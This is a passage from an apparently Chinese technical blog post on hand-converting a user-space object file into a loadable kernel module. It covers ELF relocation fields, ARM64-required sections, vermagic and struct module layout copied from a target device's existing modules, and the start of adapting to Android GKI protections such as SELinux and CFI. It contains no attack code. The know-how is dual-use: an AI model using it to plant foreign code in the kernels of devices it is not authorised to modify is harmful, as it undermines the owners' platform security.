Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.symtab</span></code><span leaf="">（符号表段索引）</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sh_info</span></code><p><span leaf=""> → 指向目标段（被重定位的那个段）</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sh_type</span></code><p><span leaf=""> → </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SHT_RELA</span></code><span leaf="">（或 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SHT_REL</span></code><span leaf="">，取决于架构）</span></p></li></ul><p data-line="662" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">apply_relocations()</span></code><span leaf=""> 遍历段时依赖 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sh_info</span></code><span leaf=""> 找到目标段、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sh_link</span></code><span leaf=""> 找到符号表。这两个索引写错一个，内核要么找不到目标段（跳过）、要么读到错误的符号表（重定位算错）。</span></p><p data-line="664" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 13：ARM64 的特殊性总结</span></p><p data-line="666" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ARM64 内核模块有一个 x86_64 没有的硬性段依赖。从 ARM64 的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_frob_arch_sections()</span></code><span leaf=""> 源码可以直接看到：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.plt</span></code><span leaf=""> 和 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.init.plt</span></code><span leaf=""> 缺一不可，查找不到直接返回 -ENOEXEC。</span></p><p data-line="668" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">另外，在 ARM64 的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module.lds.h</span></code><span leaf=""> 链接脚本中，这三个特殊段在默认链接布局中就必须存在。如果模块不是走内核 Kbuild 编译的（比如我们），必须手搓这三个段。</span></p><p data-line="670" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">其他 ARM64 差异：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">struct module init/exit 偏移量不同（Android 12 5.10 上 0x190/0x3c0，而非 0x138/0x4c0）</span></p></li><li><p><span leaf="">vermagic 包含 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">aarch64</span></code><span leaf=""> 后缀</span></p></li><li><p><span leaf="">重定位类型 LIEF 编码自带 0x100 前缀</span></p></li><li><p><span leaf="">Android 内核的 printk 导出名可能是 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">_printk</span></code><span leaf=""> 而非 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">printk</span></code></p></li></ul><h3 data-line="677" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">转换经验总结</span></h3><p data-line="679" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.o</span></code><span leaf="">可以转</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.ko</span></code><span leaf="">，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.so</span></code><span leaf="">不行。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">elf_validity_check()</span></code><span leaf=""> 第一行就检查 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">e_type != ET_REL</span></code><span leaf="">，.so 是 ET_DYN，连门都进不去。用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">gcc -c -fPIC</span></code><span leaf=""> 编译出的 .o 转 .ko 是最干净的路。</span></p><p data-line="681" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不要猜测目标内核的任何参数。vermagic 的拼装受十几个 CONFIG 宏控制，struct module 的布局受几十个 CONFIG 影响。从目标设备上已有的 .ko 提取，比自己猜准确得多。</span></p><p data-line="683" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">让内核调用 init 的唯一途径是 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rela.gnu.linkonce.this_module</span></code><span leaf=""> 里的重定位。别被 .modinfo 里的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">init=</span></code><span leaf=""> 误导——那是 modprobe 看的。内核在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">apply_relocations()</span></code><span leaf=""> 中填充 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mod-&gt;init</span></code><span leaf="">，在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">do_init_module()</span></code><span leaf=""> 中调用。重定位是唯一的数据通道。</span></p><p data-line="685" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">空名字符号不一定是垃圾。STT_SECTION 符号名空但被重定位引用。删了它，段基址引用全错。</span></p><p data-line="687" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">UND 符号的 shndx 必须是 0。内核在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">simplify_symbols()</span></code><span leaf=""> 里用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">case SHN_UNDEF</span></code><span leaf=""> 分发。改成 SHN_ABS 就不会去符号表搜索了。</span></p><p data-line="689" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ET_REL 里所有地址都是段相对的。库返回的绝对 VA 不能直接用，全部减掉段基址。内核在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">simplify_symbols()</span></code><span leaf=""> 的 default 分支做 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">st_value + secbase</span></code><span leaf="">，它假设 st_value 是段偏移，不是绝对值。</span></p><p data-line="691" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">重定位类型编码有坑。LIEF 在标准类型值上加了架构前缀（x86_64 加 0x80000000，ARM64 加 0x100），写回前用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">&amp; 0x7FFFFFF</span></code><span leaf=""> 剥掉。</span></p><p data-line="693" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">struct module 的名字字段偏移不要硬编码。用参考模块名在参考 struct 数据里搜索定位。</span></p><p data-line="695" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ARM64 多三个必需段。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.plt</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.init.plt</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text.ftrace_trampoline</span></code><span leaf="">，缺一个 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_frob_arch_sections()</span></code><span leaf=""> 就报错。不是可选项。</span></p><p data-line="697" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">修补工具必须尽可能是零依赖的。目标设备可能没有 libstdc++、没有 Python、没有 cmake。纯 C + elf.h，一个 C 编译器就能跑，才能真正做到&#34;放到任何设备上都能用&#34;。</span></p><h2 data-line="699" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4 安卓GKI安全机制适配</span></h2><p data-line="701" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">基础 ELF 转换只能让模块在格式上被内核接受。真正推到 ARM64 安卓GKI设备后，还要继续面对 SELinux、vermagic、BTI、PAC、SCS、CFI 以及厂商驱动对 section 布局的额外假设。</span></p><h3 data-line="703" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">目标设备与初始现象</span></h3><p data-line="705" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">完成基础 ELF 转换后，我们得到了一份格式上合法的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.ko</span></code><span leaf=""> 文件，并在 x86 Kali 环境中成功实现加载。</span></p><p data-line="707" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">信心满满地推送到目标设备：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">SoC：MediaTek</span></p></li><li><p><span leaf="">系统：Android 12</span></p></li><li><p><span leaf="">内核：5.10.198</span></p></li><li><p><span leaf="">安全特性：全开</span></p></li></ul><p data-line="714" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">结果 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">insmod</span></code><span leaf=""> 直接甩回来一个让人摸不着头脑的错误。</span></p><h3 data-line="716" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">SELinux与vermagic</span></h3><p data-line="718" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 14：SELinux —— “File exists” 背后的权限墙</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="720" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 